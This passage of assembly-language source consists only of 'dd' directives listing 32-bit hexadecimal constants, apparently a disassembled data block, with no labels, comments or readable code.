906A3CEAh, 0BAE3444Fh, 91ABCD17h dd 0D158E4DBh, 2FEF610Ch, 0E44CE9C7h, 6780FABEh, 94F19ECCh dd 0DCFB0AEh, 8D083809h, 0ABDE0207h, 0EB560487h, 0B55EB0F4h dd 1F332678h, 0B2AC1018h, 56370B7h, 0F9142FB9h, 0F4D7F11Bh dd 5DB27122h, 2D685F09h, 20A8664Eh, 0BC807536h, 0A3B912C9h dd 30FC2D93h, 934B14E3h, 0E3A4DCBCh, 4DE25FCh, 94AE5818h dd 973DABD1h, 1A44EE2Fh, 16D12E38h, 69CA6EDh, 55DD1FC3h dd 0A45EEB57h, 7E411107h, 0E8B44687h, 754C780h, 59EB57E3h dd 125D9677h, 4576F968h, 622BB3FFh, 7729E583h, 942D6670h dd 72ECF6D0h, 8877C555h, 42246938h, 0FEB013BCh, 6C1939AFh dd 3E91742h, 0A8FA7E08h, 0E5B70F62h, 9AC5F888h, 0C09BEAFBh dd 0CC26A248h, 0E20FCF05h, 0EE285744h, 7EFCC25h, 9B0128Dh dd 3672A2ABh, 31DD1AC0h, 60E916B6h, 5BBA6520h, 375C2239h dd 6094003Fh, 49E91A4Fh, 0DBF6B744h, 5A47DA72h, 537DC257h dd 9F4EC54Ch, 0BBE61393h, 77249E45h, 296825D1h, 77E812C8h dd 39D8F680h, 0C625012Ch, 0A0348C40h, 89D3E92Fh, 0EF03FF32h dd 0AF0216B2h, 6B6568B6h, 0FEFBC401h, 956E9A1Bh, 70E41CF7h dd 67C35B5Ch, 9468643Ch, 0CAD980AAh, 612D320Dh, 29D80348h dd 7271077Ah, 0A3461C78h, 66026374h, 0B72317BDh, 0A8F842FBh dd 0E602AE2Dh, 75035C9Dh, 6429B88Ah, 58660186h, 42F6D528h dd 0C69875E8h, 905EB753h, 0C00E8EBCh, 5ACBF730h, 0E94165FCh dd 680260CFh, 7E140DF6h, 80E32DB4h, 0B151AC91h, 0EE504EFAh dd 0CBBF9DD4h, 0F2CB7611h, 0A4757E3h, 0DCE16992h, 8888D1EEh dd 0D7CB61CAh, 90ED6385h, 0E3814337h, 0E51ADB0Bh, 2C30560Ch dd 0AD4005Ah, 0CB31215Dh, 0B4950CB5h, 52EC4069h, 575A95ECh dd 77C123ECh, 34AB9608h, 844A588Bh, 69EE89AAh, 0A048A1h dd 11C918CAh, 240EF81h, 0E9099D0Fh, 0EE7F2DBFh, 7010F644h dd 9C7D9775h, 1E5C95A3h, 9AF5E0F0h, 0ABC4394Dh, 1420F4A6h dd 257FE7E5h, 8965C96h, 54BFDBFAh, 0B7C60FCh, 0B58C2F25h dd 637799C0h, 5DA1384Ah, 682B027Bh, 40D1538Eh, 870B9683h dd 0FC275FF2h, 0E9CB6174h, 8F785273h, 0B95B9BC5h, 2552856Eh dd 82E9E133h, 0B6B7AB3h, 2F103CE5h, 0A165084h, 602FD687h dd 3060AD03h, 9C0C2321h, 3D0219B0h, 0FA42ED05h, 2DC24166h dd 25C10744h, 0BF000AB6h, 0F4004BDEh, 77CF8154h, 0BD3E2C60h dd 62D0743h, 9DB0D806h, 0AB096BDAh, 5CF29259h, 0B52D00B8h dd 682F405Eh, 18019927h, 2C480AD6h, 0A82F2B81h, 33921F07h dd 0CB05813Eh, 0F84C6638h, 7A12DF0h, 64D87E5Eh, 0FFB76E47h dd 2F1B25C1h, 2CD03131h, 0C0536C1h, 9FB90958h, 0C07C59BFh dd 39F1A396h, 0C969F82Bh, 580AC17Bh, 732DB86Eh, 8E28010Fh dd 2ACBE54Dh, 0E8928BE9h, 0ECC81054h, 95FB9A40h, 0BCD1BB09h dd 206FDB49h, 0BF6BB2EDh, 6ADA3C56h, 19445F17h, 1F2A8922h dd 6F79D5EAh, 0C29400DCh, 0E2D84A08h, 0DA5C97EAh, 31C8C2h dd 8F34E3B9h, 289F4650h, 2FB05017h, 4FC2E601h, 0CAF075D4h dd 7D672598h, 97F89FDh, 0ECC75AB6h, 0A2145A2Dh, 3B55D514h dd 0FACC4AD4h, 0FF7D53E0h, 7C920B78h, 917F61C2h, 0AB3E66EAh dd 95362939h, 57B96802h, 765D46B3h, 0A7015900h, 0A642DD0Dh dd 0EF227C55h, 7D3E85B5h, 0F71823DEh, 376768C8h, 3CF3F983h dd 898B8C68h, 7F44B2D5h, 0FA9FDFF2h, 28477E98h, 0B50826E5h dd 20251CDEh, 2D7B7D47h, 0BADE9F3Ah, 0E9050CC8h, 485636C3h dd 227FF290h, 4CB8B0A4h, 609F88F0h, 0A0569920h, 70D837h dd 0F18176BBh, 19A3384Ch, 971100BFh, 0B86F1848h, 593B4004h dd 36C78019h, 0FEF0AC06h, 138B9A3h, 0CE8DF393h, 82C53929h dd 0D44B5EE9h, 60565944h, 0A9F6101h, 55517C98h, 0BFE354F8h dd 0BBEE3718h, 5E500ECBh, 0E57F72F8h, 4074E957h, 0E7C557EBh dd 51BDE905h, 0BE6A38FAh, 0AA0844E1h, 7CB05917h, 32B60968h dd 0DD3DCDh, 35569335h, 960CC17Ah, 206D1D52h, 0E02F69Bh dd 8914981Eh, 0C6D3D7F5h, 507A20C9h, 0C1607475h, 0D7A679DEh dd 6E816BE8h, 800072E4h, 0C07926E1h, 0C11C0576h, 0F6CEFEECh dd 4C98DD9h, 0E8032F61h, 769AE4Bh, 52872F1h, 0ECD6B522h dd 7CAD3C66h, 3A901B74h, 0BF57D814h, 48A4808h, 9D754F3h dd 7F5E2C82h, 6A6B0880h, 3F29E97Dh, 0B403BC69h, 0DA1F9E19h dd 0A6F67113h, 0FBC007Ah, 5485109h, 38712000h, 642B250Ch dd 0FE215098h, 0BDCB4F07h, 503E84DFh, 815F3FE3h, 13F4DD1h dd 0CC6AA868h, 6701B296h, 0C049EA80h, 0D56005E2h, 0FAC6BF4Fh dd 93FDD0F2h, 0B7BE303Ch, 14E9856Fh, 86B88CD0h, 48786Bh dd 135D8F7h, 9AF98C6h, 0D9A9C34Fh, 0D70A33E2h, 28BA0C16h dd 534F5926h, 0FD84778Ch, 55E96DECh, 4030F0C5h, 40A74173h dd 8A4B608h, 0C41AF795h, 55092358h, 0E615AF68h, 33A220C6h dd 0F58BB02h, 7D01A5A7h, 5FFBC203h, 26700D4Ch, 8DCC2550h dd 3D5112B1h, 0A0D80977h, 0B075C6E2h, 0A82039D4h, 1A74EAFCh dd 0C668227h, 27B8F275h, 0E45CB2A6h, 0E394094Fh, 273BE9ADh dd 7953F552h, 40032DA7h, 1C4F2DFBh, 0F16D4E8h, 0B61BD1AEh dd 316BE13Fh, 92333E87h dd 66115829h, 0B6F9EB25h, 66E2881h, 18F08150h, 451C2F63h dd 94F7A7C2h, 0BEC7040Dh, 0F961470Ch, 0A5084192h, 0AFC0DC1Ch dd 0C7D3197Ch, 966675C9h, 0A0390C20h, 0A44268Dh, 33584127h dd 0B46B97A0h, 2D176753h, 84F92BE4h, 0D2990873h, 0E909D41Bh dd 2DCA60A9h, 307A19A5h, 4305E028h, 0C8C25A07h, 9E12545Dh dd 0BFD125Eh, 0C02B6A9Fh, 8719467Ch, 967CDB16h, 26DC5B26h dd 0F88B5A8Ch, 0F8A9B712h, 0CD101A8Bh, 0C41B3E9h, 2832D0EFh dd 10719DE8h, 0F884E98Bh, 0DECCBD14h, 7FF634A2h, 0CF2D1420h dd 432FAED8h, 40ED318h, 0A8FEE20Ch, 0FC78A1D7h, 431352E6h dd 0E4EB3123h, 0A06F694Dh, 4C84143Ch, 0A22D80E3h, 0F29A0DB0h dd 36E5B7C6h, 0A5C1E98Bh, 5181BE20h, 0EBE83580h, 1F51BD52h dd 6F7205BCh, 0FEA43DAh, 0A898835Dh, 74C98F3h, 0E307763Fh dd 539F1F4Ah, 0C75C3C0h, 291E27B3h, 81433DCAh, 24381E94h dd 2C41DC8h, 0BCF081FEh, 0CECD2E2Ch, 8960BE2Ah, 40DB3106h dd 3C4BD61Dh, 18F02AD0h, 7AF097C6h, 0AC6B4F0Ch, 3E570C43h dd 113654Dh, 84610CEh, 4140C68h, 0B59366E9h, 99212E03h dd 0BD009D82h, 0B412554Eh, 67005202h, 7B354D75h, 93F09BAh dd 8BDD3A5Ah, 8875749Ch, 502790FEh, 0A8562015h, 0D67DF880h dd 0EC77FAFBh, 77B800F6h, 55A1502h, 0A1247471h, 0C20030CFh dd 810F2F39h, 11461DE1h, 20D7A7D3h, 0C819762Bh, 4B88079h dd 551F213h, 0A7AF87BBh, 1BB06BD3h, 97CF6ACAh, 336EE4FEh dd 0EFEE8005h, 0B3000DCBh, 0C0C3FE45h, 949502EBh, 0D0B10BF4h dd 8680CB08h, 0DE30B6EBh, 513A8B60h, 0A4ECA1E9h, 0F6DA253Eh dd 1509BDF9h, 8844F112h, 6C2F1119h, 0B6AA92CEh, 685DF075h dd 70BC66EAh, 0F52D1A6Eh, 52162AD9h, 4DE59205h, 175026CCh dd 616A1268h, 635F2876h, 0C22D02D1h, 0E166F67Fh, 4D2D3316h dd 7A3D2005h, 621CC02Ah, 34C0E36h, 55D41DC6h, 0C10B0724h dd 553E6258h, 8788C3CCh, 0F79C3108h, 37466884h, 9DC4CEACh dd 98E2FEF5h, 0AC88FA4Bh, 1C9FF329h, 0A194F4B2h, 5EF76DFh dd 517E7BB6h, 0AA1A81EFh, 0D815F956h, 2717EBCAh, 0AC2C4996h dd 787E0068h, 875D2059h, 0E91349CDh, 0E907A7Bh, 4ABC33C8h dd 0C1BEC270h, 5AD50889h, 22E92D80h, 0EC304A40h, 4DE60B90h dd 0DF70C6E6h, 33E9E609h, 0D0F4683Bh, 52668089h, 0A0246AC9h dd 21D36883h, 595B3E49h, 4A43587Fh, 0E773EAA4h, 0DEE5F5E9h dd 82DE26A5h, 0D2CD4F58h, 8581F46Fh, 0A12B2341h, 6C612B3Ch dd 0CA2AE451h, 0CE251003h, 6A29FF4Fh, 0C047BEFCh, 0BAA2C5ABh dd 17CCF42h, 64BA719Dh, 0F2EE52B6h, 0AC680BEBh, 579A1A70h dd 2FEF2C5Eh, 8F76DFEh, 5682D372h, 67586FE9h, 91F38007h dd 0C353CBFEh, 0F64AEA20h, 0E15B2729h, 5702382Ah, 7A6412BFh dd 3A6E401Ch, 16BE3909h, 159CF96h, 0FE6D38BCh, 0E95F001Eh dd 0D0F09D9Ah, 4FAF094Fh, 0FC8450DCh, 7FDDCD58h, 246BC5D9h dd 0AEDEE90h, 8872E909h, 37E9795Dh, 167FDB72h, 0D0A6C143h dd 3E20BC1Bh, 75BFE013h, 33AD8247h, 5DE2D102h, 8832B7E0h dd 62EB6E40h, 5F290F35h, 592FE17Ch, 0F100E920h, 3BAE2725h dd 6DEC78C2h, 0FB45C040h, 0AE4B4A5Fh, 0B7238041h, 0D0DB1BEDh dd 6F5C0174h, 55E20C44h, 7D075347h, 51233273h, 806A5E4h dd 0E5148B0Ch, 0B9CD2012h, 24A1AA44h, 2FB38E6Bh, 5598DF5Ch dd 63BA33BAh, 0DFF742B5h, 0F70907D1h, 4E3881DEh, 132E1BE9h dd 0ABE4BE6Eh, 0A8214AFDh, 94D7B112h, 6BBCB67Bh, 51EA398Ah dd 92C0E9DCh, 0C9810EC3h, 53258FFh, 0D0DD454Ah, 531804D3h dd 0D8011F0Ah, 712F0705h, 6C93C20Ch, 0D986BB77h, 9B2F5134h dd 6B681A5Ch, 165AFDEFh, 6C7E0F00h, 3DF68142h, 0EC8E5B51h dd 8B987E54h, 8C186A60h, 5787E685h, 0BC5EAF01h, 0D650B2C1h dd 0A7E78B8Ah, 207ED709h, 0BE44A204h, 0A32D80BBh, 14B63418h dd 0B929D802h, 961D60Eh, 0CEF961DEh, 69A20FA2h, 3ACF5D7Ch dd 0BC260A40h, 3E52710Ch, 4B0F2568h, 51C2AEF6h, 0F2E911B9h dd 96D7056Ah, 0C439E37h, 0EDC9BF0Ch, 0F3C7092Ch, 2CB92D07h dd 10AE2734h, 5D0507EDh, 8DBFACE9h, 8B57E68Ch, 0ECE657EFh dd 5A90C25Ch, 0CE502FCh, 0F5732E10h, 1B39D30Eh, 3CE5C0F6h dd 0C13D787Bh, 182A2E18h, 96BA4005h, 1369245Eh, 0BDB6D20Ch dd 0ED3D0BC0h, 0B7534AC0h, 0F5A0B4D6h, 5489DDEEh, 0FEAF167Fh dd 5A00B594h, 23358EB8h, 2EED227Ah, 48BB8B00h, 9775C371h dd 0E20166D4h, 7B36CDEh, 5F98C140h, 0BC3F4BCDh, 39EEE4CAh dd 0DCD16AC4h, 6582180Ah, 0D82212F0h, 0A512565Dh, 0E9E166D9h dd 0F9384DC2h, 0EEEF53D3h, 20E91138h, 0F4BD5FF0h, 779F831Bh dd 0CCF1793Ch, 28B36B64h, 0B2F5212Dh, 6BC2F7CEh, 0EFBE83F7h dd 577824DBh, 71DE0427h, 84FBC482h, 0C72F00CBh, 19D262ECh dd 57619E99h, 496A20E9h, 93DFEFF9h, 0D4EFB40Ch, 1002F818h dd 6809ABDBh, 425965B9h, 1010388Ch, 0E8799DB8h, 0C4F441Fh dd 70B9EB58h, 0AF5F5BCEh, 5B9F3057h, 4B5AF712h, 41875086h dd 0DDB8A251h, 8C1D73FFh, 0C6BD32AFh, 452B7909h, 0FAF8D706h dd 445B0881h, 8A98828Fh, 0CAC25405h, 505BFF3Dh, 2F265746h dd 0C2F174FBh, 9A994F3Dh, 76E9C484h, 0A1CE1846h, 60031F13h dd 50110B55h, 7E1DCF68h, 0F1ED3171h, 0B3F05563h, 53465B76h dd 0E7F6110h, 7E2E16BFh, 0E1A5D35Eh, 13492B8Bh, 7EC650E1h dd 0C78D5EC3h, 6DF58B95h, 0F8079348h, 40A74FE7h, 7355C3C9h dd 0A8DD2F6Bh, 4612A10Ah, 0FC9269F8h, 5251A089h, 0B1F704B2h dd 0AAD128E1h, 0CD17EEE2h, 77D9BA95h, 0AF33CC2Ah, 0BCA34A4Bh dd 0BE9DD412h, 9F102EA2h, 0C3EC5B50h, 7922A78h, 17D994B0h dd 29CC8134h, 1807FEEh, 80051ABAh, 4C0678C1h, 0CE3156F2h dd 414DDFC8h, 615A65E3h, 29328F46h, 1FEDC7Dh, 79436DF1h dd 48CEE945h, 1EFE0578h, 8912935Ch, 255C2002h, 0DE2AF7A0h dd 524F8D59h, 0CC2B17F1h, 5B6166B2h, 3225F671h, 492008FDh dd 0AE3E4A53h, 124EA4CBh, 0C3A7EF2Eh, 0F908E918h, 354B5D68h dd 0C57FA227h, 74AA3C79h, 0E86DC33h, 0B99DBE5Bh, 203D8A92h dd 0A2EF57E2h, 0C629D607h, 8FE45258h, 4F68BD90h, 9FD936Eh dd 3FA91DBCh, 66DA88D7h, 72BA528Bh, 1D50BF13h, 7AB4CCC0h dd 92D75EAh, 71F62C3Fh, 0A3F80C05h, 489869DBh, 826754BAh dd 2DB1785Dh, 0FEA057FCh, 3104F5Fh, 13F04950h, 196BE209h dd 6079D729h, 4BE7E970h, 6877C87Bh, 5B2A7238h, 296739BBh dd 4A47C41Fh, 41D52D0Bh, 0A87A054Ch, 0BD681356h, 311766F9h dd 7431AEB0h, 406B2BAAh, 0A7592348h, 0A8C34E6Ch, 0F8B1971Ch dd 9F2C0DE9h, 76258DC6h, 76291209h, 895725FCh, 0A1FCD850h dd 2D41370Dh, 0A22E02C6h, 0CBBF96CDh, 7EC140E2h, 0BF2B5181h dd 0B82F212Dh, 6818D81Ah, 0E1186469h, 0AB68D572h, 7600CED5h dd 0D008EEC0h, 3E6828E6h, 0B03AC75Eh, 3E8F314h, 5C05AEB3h dd 0C628342Ch, 0BBD565FBh, 97803A0Fh, 0E9F09B01h, 0FE505C8Ch dd 1D7825E3h, 0A4C17B7Ah, 91CB019Ch, 0FC548E08h, 28180AEBh dd 0EE0C4F1Dh, 0E3F927FBh, 0FF973778h, 1C607C83h, 525AF200h dd 7EF16856h, 5E6B2875h, 57A30BCBh, 689FA6Fh, 5B4CA778h dd 0E5C1B09Ch, 0C109B405h, 0F030D279h, 0D4BF5CE9h, 0BB583CAh dd 0ABD96C9Eh, 0F4B90098h, 126A1E40h, 4905CBC1h, 6CA02BF8h dd 2A7A94BBh, 0C889501Ch dd 0F713C296h, 0C5844EAAh, 709D0BE0h, 275FE868h, 213BEC30h dd 9DC1B713h, 0EBA32B14h, 39E5E463h, 8AF30987h, 0FF398B47h dd 0E9860915h, 80DF63D0h, 920F3DF4h, 6ED1BD61h, 0DE8D850Bh dd 755AF394h, 0E9AC14E8h, 0B3F4735Ah, 200498F5h, 0D0B53C9Dh dd 0A420BDFCh, 25245BC3h, 125E647Bh, 5F9B82C7h, 660BADB4h dd 5A037B68h, 77534C03h, 50D80B10h, 0F4B55EE5h, 1308ACD6h dd 6BA387AAh, 5BFD1CB2h, 181DAC7Bh, 0EBC79756h, 0CA102438h dd 8E3561D3h, 7DC6011Dh, 291C7275h, 1A744FEh, 57685F08h dd 0BAC34C78h, 0EC446601h, 5AB3E97Fh, 6564FA2Bh, 0D9744A87h dd 7AAED5D1h, 0B724530Ch, 0E925CF37h, 2A9EC9h, 3EE05FBh dd 20B06E70h, 5A9B1B54h, 0E0F03177h, 21EB415Fh, 3350BBFEh dd 37BD0366h, 0E963041Bh, 0A27D4D9Ch, 1FB9E95Ah, 3A49F229h dd 589C7F9Dh, 16B42EFCh, 76D0BA01h, 0E86F54DCh, 7FF200B8h dd 5617396Eh, 0A2D65889h, 8B58D63h, 46D482BAh, 71C1351Dh dd 0C5310211h, 0C0EAEDF0h, 334AEF6Fh, 5B7C5662h, 0A7A0EE2Dh dd 0D7DBA6E8h, 3190C9ECh, 3DC34134h, 2BE66DC0h, 0B5CBFA28h dd 9EB8751Eh, 0D35F3058h, 0E9C713EBh, 0A94D7FC6h, 0D36800FEh dd 5F8862BDh, 6F96D31h, 0E4A16A2Ah, 322EB261h, 4C778960h dd 3BE91678h, 5E6DBA26h, 5942CB2Bh, 8DBA4A0Bh, 2427EF67h dd 0EB1A5F5Bh, 5396987Dh, 0BD37BA67h, 2B2A881h, 6E696079h dd 5D6B5144h, 0D727B549h, 0F2F0E79Ah, 0F97C35Dh, 4B0F780h dd 0A896CB15h, 5B0506F2h, 100D7219h, 0EE47A180h, 0CDD7C6FFh dd 0D5EAF25h, 4D129E4h, 0A24EBA0h, 0DDF60BD5h, 2A82B353h dd 0BBD5041Dh, 1B91D9AAh, 28817465h, 285CB533h, 3A4420DDh dd 0FD6F5A81h, 2170843Bh, 9007DBA9h, 0B21D8816h, 2749E046h dd 2578DC47h, 0BDC946BDh, 0D01B450Ah, 63625B68h, 0DA344093h dd 6EA905A2h, 0A0591108h, 0C53B5210h, 0DEC90264h, 0DE2A1A25h dd 57C10181h, 3EF1236Bh, 5DE81890h, 0E9531C52h, 0BEBBED75h dd 0FAF476DAh, 72F35627h, 3FC2C0F6h, 81DCC18h, 6DDC6850h dd 3F65D76Bh, 0B9682A8Ah, 9B27A740h, 0AD80976Eh, 0F753545Bh dd 124ADA30h, 4C5E3FEEh, 0C6011555h, 0E939E766h, 0BAC67406h dd 0B905C209h, 18F7662h, 7E0EBD55h, 9E806F1Eh, 0B2C602Ah dd 52E4E978h, 0BF889DD9h, 0BAB9015Fh, 2B776650h, 6AC3118Ch dd 1416042h, 722D70DAh, 0BDDE4255h, 4E086801h, 825A303Eh dd 62607165h, 12D5D76h, 9D0B068h, 67050375h, 10D73C40h dd 5D250227h, 0A9A3D1A0h, 0DDA037BBh, 7F3F62C8h, 0A54C2D2Eh dd 80BAD9E7h, 71676D33h, 0F33881E4h, 6A097BE4h, 56B057E9h dd 17D780Bh, 4F17A902h, 0D48403E9h, 6D68616Fh, 0C7E3074Bh dd 0FB6D5EFAh, 8BC3C427h, 30181D2Fh, 48DAC9C3h, 0CBDFBC25h dd 0CCE90B6Fh, 2E322C8Ch, 37EE4AA1h, 0FC8194EFh, 478F0D57h dd 0A4EF8924h, 1BB44ABh, 2EAAC2EBh, 0E6EAEF0Eh, 9DFA4DCh dd 3B3517E5h, 0AF10C27Ch, 0B28B403Ch, 29032947h, 4B516DD6h dd 0ED55CEF4h, 278CA4F7h, 97229677h, 667411D7h, 7144FB3Ah dd 8EBA175Fh, 0DEE9826Fh, 178C4C5Ah, 717E8A68h, 0BF9BE992h dd 2E039527h, 50282EA4h, 32F7EA40h, 47D76ABh, 593AB7CAh dd 7B8A805Fh, 5A5F3FBFh, 1123DB8h, 0CC2507F1h, 0E9251044h dd 45C95D93h, 0BDE1DFF2h, 0F991215Fh, 3A843F44h, 136D8BEEh dd 9A94A035h, 20E7F2FAh, 31490B81h, 44D71FBCh, 740A82DEh dd 0FC2D5851h, 0EE142F28h, 0C7E3C55Fh, 893C542Eh, 0F985D829h dd 684B9025h, 28FE70C3h, 8F69C0F6h, 8CF9DF24h, 0D902C348h dd 0DF78963Bh, 2608C928h, 56AA127Fh, 0BC91645h, 7CCE3373h dd 0EF2D18C5h, 0A689B9ACh, 95F43D29h, 97270628h, 1795D83Dh dd 958C709h, 0F171E283h, 74F0D864h, 0AD709BFh, 815F6CBCh dd 5FBA656Dh, 7760A26Bh, 78512727h, 42C8828Ah, 0E9547D77h dd 22B70820h, 0C80C13FEh, 5F87EB8Ch, 65F51D28h, 0E946C660h dd 0A036B025h, 0BE56022Dh, 38611AE0h, 6F48920Ah, 350F77BDh dd 6101169Eh, 0FC88BB5Dh, 0EA3AF2D1h, 0DE892561h, 0B1C6AD40h dd 5F1002Ch, 50E96857h, 5F143D85h, 274EFE21h, 0CD3808F3h dd 954001C6h, 2171555h, 324E685Ch, 59867848h, 0DB702181h dd 25A1B410h, 9554B45Eh, 40A732DDh, 0B8453A01h, 4F3FB062h dd 0F0298C0Ch, 5B953C24h, 0E46F500h, 30550AFAh, 623A5D5Bh dd 29F21B33h, 88299B2h, 0F5EE880Eh, 0DA655F1Dh, 8072EE9h dd 0E06A8456h, 0DB50F6EBh, 0FB879CCh, 0E3E8F25Ah, 148F01E4h dd 60539D6Ch, 0DC9100Eh, 7CC7701h, 4E4C3195h, 27E655F2h dd 6C3DFC2Eh, 2D2F5DA8h, 0D4D9E822h, 0DBF9BF15h, 0B91CFD49h dd 0E4C8FAA8h, 0A1545180h, 0EB64570Ah, 1CC109B9h, 2F00309Ch dd 109201F5h, 5EF12113h, 6C7DEA06h, 30EF066Fh, 0F01EE150h dd 6B162317h, 3150761Dh, 1C4F2109h, 0C51E3A51h, 0D56297E0h dd 0AC77675Dh, 0DF645A87h, 2148449h, 400E68BBh, 2CCDC3Ah dd 6E0C5C20h, 6BE8A461h, 0AE5E3FA7h, 0C69122Ah, 624F53DDh dd 475D53CAh, 297D2F60h, 0EF977ABh, 0D4532012h, 393AA0EEh dd 669A1463h, 53A60F59h, 1D85A6B7h, 288CBB45h, 36579D57h dd 9AE918E9h, 0D6F63249h, 5AEE801Bh, 0F5088106h, 0DFC5FED8h dd 0FAB87B04h, 5210A958h, 5E565076h, 0DA4AF6B5h, 52D7F657h dd 1302EC77h, 0AA208AE9h, 7D291272h, 38980372h, 7E0105EBh dd 3D4C64BEh, 3480F838h, 58C60890h, 0F44C509Dh, 8DCE5028h dd 0A7A825E9h, 0A7BCB8D1h, 0A307F2B6h, 61FD9A98h, 916F7C83h dd 2324BF73h, 3B754FBh, 2D81B05Ch, 0C1CD7E99h, 7069868h dd 0F5E05BE5h, 49C3132Dh, 352AFE7h, 1C0C38AEh, 78723A80h dd 45B48D1h, 7205A9E0h, 9C12B58h, 57ED22ADh, 2C645880h dd 0E918620Dh, 5A74A9E4h, 0D0D99755h, 0D1447D5Ah, 20741D2Fh dd 3F0CDC47h, 1129022h, 0B394DFCCh, 0F977E405h, 0AAA17B42h dd 0F6E90701h, 5494D37Eh, 2355B1B9h, 0CAEA4A91h, 0D8AB2596h dd 0CE9E975Ah, 0D74E0F98h, 0BA419B8h, 0EC0028CBh, 331E055Eh dd 1C807A62h, 163B5F8Fh, 2D720ED9h, 44E677B4h, 4473D1B5h dd 4EA9FC30h, 545ADEC2h, 25FDC290h, 29DFC0Bh, 496D5CA9h dd 982A705h, 74968A7Eh, 9674F80Ah, 0FA096802h, 0DCE2610Dh dd 0EC4AEB64h, 342B4C18h, 29FA0CD3h, 6403B213h, 0F280DAF6h dd 3CD2AB10h, 0E219670Ah, 760C09h, 61EAC0ACh, 36E92C04h dd 0E4B9552Ah, 8041BD54h, 77E10D47h, 0B42B3715h, 98780FCDh dd 0C1E4EF7Eh, 2F833613h, 0A131480Fh, 0D7016FAFh, 0D0081CA0h dd 5A25141Ch, 9374B3FDh, 0E6EE844Ch, 0E8876FEFh, 0C2010B23h dd 0EFC79D04h, 11E8C631h, 6864212Ah, 268D7BA7h, 91436BE0h dd 20EA6B4h, 1F55268Eh, 0AD28DC57h, 752710DCh, 5AD5D400h dd 0ED748058h, 0FA406CEh, 0B0C50EDDh, 935E9E7Fh, 56A409Dh dd 0DC4ED134h, 9F2D50BDh, 0A924A971h, 813C583Fh, 72D437C1h dd 4671E62Eh, 73E90C86h, 1D66B023h, 2445F668h, 74ABC1Dh dd 0E616AA6Dh, 0C568105Dh, 65108A0Eh, 0E15ED158h, 29AA3A77h dd 71B46BB7h, 0F799AA4Fh, 87C16443h, 0F3CCE368h, 6CAE4ACCh dd 6B26E9EDh, 888E65B5h, 0FDF449EEh, 0B4AC066Eh, 801960B7h dd 205217F4h, 208999E5h, 883062FBh, 96E93BEAh, 0B760C0CAh dd 66F9208Ch, 28E9195h, 5CAAA02Ah, 7C817D40h, 762D71E2h dd 7FEA3863h, 0BE210513h dd 216F2299h, 6E8947D6h, 11646261h, 0A7C28100h, 6909F819h dd 0E6111262h, 210C30D0h, 0AAB29FF6h, 0AE27B905h, 13BAAC17h dd 77E6C139h, 517DC25Bh, 3594EB06h, 14E92Dh, 20DEBB82h dd 0B16E4EB1h, 84A1306Ah, 0BCB7C82Eh, 0E9B02D28h, 0C295F060h dd 5A19E8F2h, 938EAC0Dh, 5BB682EEh, 76C68EAh, 1B59C7F2h dd 30D0377Bh, 0B6E3DF9Bh, 0AD133DF1h, 26D6E558h, 0BFD1E5E4h dd 0E0EDBD29h, 0BFA1172Eh, 0BE2FA27Dh, 0F75BFB3Ch, 0FB684284h dd 0F261EA40h, 3D2F8A78h, 5063FC41h, 14EA6997h, 9F2D2434h dd 84202E56h, 8225C09Ch, 4755ADBh, 308BFC5Eh, 6CB7A351h dd 0C41E4ECEh, 0B20712CFh, 0FAFC438h, 19F1FB90h, 0A545E5EBh dd 11E52FBh, 434A57EBh, 0A86A036Dh, 5EE97D6Ch, 59BF02A4h dd 3257CD31h, 2CB9F0D6h, 92F47BE9h, 0E6AD0753h, 0C2F53751h dd 24FEEBF0h, 5A390C63h, 0AA2AB091h, 0E34B7BF9h, 88885EA1h dd 0C7B64258h, 3E060AE8h, 14F248AFh, 224807EDh, 19643F25h dd 84BE1FF0h, 0C5BBC796h, 54918214h, 7D680D00h, 6E16489Ah dd 3712D504h, 7BD0FA3Fh, 509862EDh, 14F68641h, 0AB601D74h dd 7B6F147Fh, 187A8C59h, 18369410h, 9E262A7Fh, 0F90FCF28h dd 0E98821C6h, 5A0291D0h, 54C2E0FEh, 9FCE7729h, 3E9AC8h dd 27685650h, 5EEA1032h, 0C35E5DFAh, 7225F8B2h, 9DC2B648h dd 1BF51517h, 5DA97707h, 2713133Fh, 7DB72205h, 78105FBh dd 8909C1A0h, 22FA2AF7h, 8F5EE116h, 580BE72Ch, 8BDC5160h dd 385947D3h, 0EB52AE93h, 9934B7BEh, 892EAA66h, 0D4B29782h dd 0E6FE7E65h, 0DA341048h, 413B3C62h, 80911C57h, 274B5696h dd 43A840C0h, 8CFC2708h, 9089D527h, 88C2FFFh, 3431114Ch dd 3380EFE7h, 5C5747C4h, 0BB028311h, 3DBA321Fh, 524B7C55h dd 5D49FE74h, 0E9612871h, 0F1A5DF90h, 539388D4h, 0EAB365AEh dd 0D8ACDE82h, 1EF7951Fh, 86C2F2BDh, 4BC0A644h, 18C0BBECh dd 80FC28C5h, 0E54BCEE9h, 0EFB09CAEh, 0D7990548h, 17E61D46h dd 294B016h, 0EA80C2FEh, 0C17628D4h, 16C3F15Bh, 1E610B3Ah dd 62902C70h, 1B2AA82Ch, 266A9D82h, 5F05CA72h, 0B20A4FCh dd 8931E925h, 28D25BBAh, 2531B4FAh, 8B6A475Dh, 2ED93FC1h dd 770E5289h, 12BD0B79h, 0E2BF649Eh, 79EBD3E5h, 0C765AC12h dd 0A240AE10h, 2F88419Fh, 0D3CCCAFCh, 0C45E9E2Bh, 97BD49DCh dd 0FCE9F048h, 21EFDD4Eh, 46A3453h, 40B915E0h, 557E5D0Eh dd 1D359524h, 3265EF9Eh, 8907711Fh, 81186C56h, 7A5B8E68h dd 692FC8B3h, 0F1A9F58Fh, 38E6E677h, 0FF4E203Dh, 625EA8CBh dd 9D55D72h, 0C2AE5E36h, 947DA6ABh, 3C302015h, 87D7F700h dd 72CE81FEh, 65B03F56h, 0EB3EFD92h, 0D501B631h, 774A8B7Ah dd 4599DC9h, 0EE169298h, 55A26209h, 544554E5h, 0E91721A9h dd 88E9C1DEh, 0C4509DCAh, 5B70A82Dh, 5A439219h, 0B403DFD8h dd 61085A0h, 0EE17C14Eh, 0D5FA053Eh, 63EF024Bh, 0A1634B1Dh dd 0E61794F8h, 0DBD16139h, 0CCAA5A04h, 316863CCh, 9DDF5387h dd 0D14D807Fh, 0C158F181h, 59D77DDCh, 0BF02FC4Bh, 3107EE06h dd 9BAF6377h, 0DEEDF9F3h, 0E2CDFF81h, 0D8697430h, 701635F5h dd 70090811h, 131804C6h, 2399D1FFh, 0CC778949h, 60817C0Bh dd 4E6A4248h, 40DF40BFh, 4BF938E9h, 0FD39AE5Ah, 977CB2Fh dd 0E695FAE9h, 225F9704h, 90D955A0h, 0A69E7D6h, 0F7011FECh dd 0C00820D8h, 55E781Ch, 